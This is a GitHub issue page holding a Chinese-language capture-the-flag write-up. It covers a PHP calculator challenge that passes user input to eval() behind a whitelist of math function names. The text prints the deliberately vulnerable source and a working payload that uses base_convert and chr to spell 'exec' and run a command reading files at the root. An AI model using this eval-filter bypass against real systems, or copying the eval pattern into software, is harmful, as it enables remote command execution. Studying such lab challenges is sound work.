We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
一個計算機的程式,程式碼如下:
<?php error_reporting(0); isset($_GET['source']) && die(highlight_file(__FILE__)); function is_safe($query) { $query = strtolower($query); preg_match_all("/([a-z_]+)/", $query, $words); $words = $words[0]; $good = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh', 'ncr', 'npr', 'number_format']; $accept_chars = '_abcdefghijklmnopqrstuvwxyz0123456789.!^&|+-*/%()[],'; $accept_chars = str_split($accept_chars); $bad = ''; for ($i = 0; $i < count($words); $i++) { if (strlen($words[$i]) && array_search($words[$i], $good) === false) { $bad .= $words[$i] . " "; } } for ($i = 0; $i < strlen($query); $i++) { if (array_search($query[$i], $accept_chars) === false) { $bad .= $query[$i] . " "; } } return $bad; } function safe_eval($code) { if (strlen($code) > 1024) return "Expression too long."; $code = strtolower($code); $bad = is_safe($code); $res = ''; if (strlen(str_replace(' ', '', $bad))) $res = "I don't like this: " . $bad; else eval('$res=' . $code . ";"); return $res; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/css/bulma.min.css"> <script defer src="https://use.fontawesome.com/releases/v5.3.1/js/all.js"></script> <title>Calc.exe online</title> </head> <style> </style> <body> <section class="hero"> <div class="container"> <div class="hero-body"> <h1 class="title">Calc.exe Online</h1> </div> </div> </section> <div class="container" style="margin-top: 3em; margin-bottom: 3em;"> <div class="columns is-centered"> <div class="column is-8-tablet is-8-desktop is-5-widescreen"> <form> <div class="field"> <div class="control"> <input class="input is-large" placeholder="1+1" type="text" name="expression" value="<?= $_GET['expression'] ?? '' ?>" /> </div> </div> </form> </div> </div> <div class="columns is-centered"> <?php if (isset($_GET['expression'])) : ?> <div class="card column is-8-tablet is-8-desktop is-5-widescreen"> <div class="card-content"> = <?= @safe_eval($_GET['expression']) ?> </div> </div> <?php endif ?> <a href="/?source"></a> </div> </div> </body> </html>
簡單來說就是針對字串進行過濾,連續的英文字必須要出現在設定好的名單裡面才行,仔細一看會發現都是跟 math 有關的 function。
除此之外也不能有不合法的字元,例如說 $,否則就會失敗。
$
這一題滿多人解出來的,但我一開始看到的時候沒什麼頭緒,只覺得應該會滿麻煩的。睡了一覺醒來之後再看了一次那個 function 的清單,看到了 base_convert,是進制轉換的。
回想起之前寫的 如何不用英文字母與數字寫出 console.log(1)? 那篇,其實就有講過可以透過進制轉換來產生出任意字元。
PHP 可以這樣執行程式碼:
<?php ("system")("ls /"); ?>
所以只要能湊出 system 跟要執行的指令這兩個字串,這題就搞定了。
但要注意的是指令中會有空白跟 / 這些不能用進制轉換的字元,這怎麼辦呢?可以先湊出 chr,再用 chr 搭配 ascii code 就行了,就能產生任意字元。
chr
最後的 payload 是這樣,組出 exec 跟 chr 然後組出指令:
(base_convert(14, 10, 36).base_convert(33, 10, 36).base_convert(14, 10, 36).base_convert(12,10,36))(base_convert(12, 10, 36).base_convert(10, 10, 36).base_convert(29, 10, 36).(base_convert(12,10,36).base_convert(17,10,36).base_convert(27,10,36))(32).(base_convert(12,10,36).base_convert(17,10,36).base_convert(27,10,36))(47).(base_convert(12,10,36).base_convert(17,10,36).base_convert(27,10,36))(42))
話說我是手動組的,但我下次覺得應該要寫個程式才對...
The text was updated successfully, but these errors were encountered:
No branches or pull requests
一個計算機的程式,程式碼如下:
簡單來說就是針對字串進行過濾,連續的英文字必須要出現在設定好的名單裡面才行,仔細一看會發現都是跟 math 有關的 function。
除此之外也不能有不合法的字元,例如說
$
,否則就會失敗。這一題滿多人解出來的,但我一開始看到的時候沒什麼頭緒,只覺得應該會滿麻煩的。睡了一覺醒來之後再看了一次那個 function 的清單,看到了 base_convert,是進制轉換的。
回想起之前寫的 如何不用英文字母與數字寫出 console.log(1)? 那篇,其實就有講過可以透過進制轉換來產生出任意字元。
PHP 可以這樣執行程式碼:
所以只要能湊出 system 跟要執行的指令這兩個字串,這題就搞定了。
但要注意的是指令中會有空白跟 / 這些不能用進制轉換的字元,這怎麼辦呢?可以先湊出
chr
,再用 chr 搭配 ascii code 就行了,就能產生任意字元。最後的 payload 是這樣,組出 exec 跟 chr 然後組出指令:
話說我是手動組的,但我下次覺得應該要寫個程式才對...
The text was updated successfully, but these errors were encountered: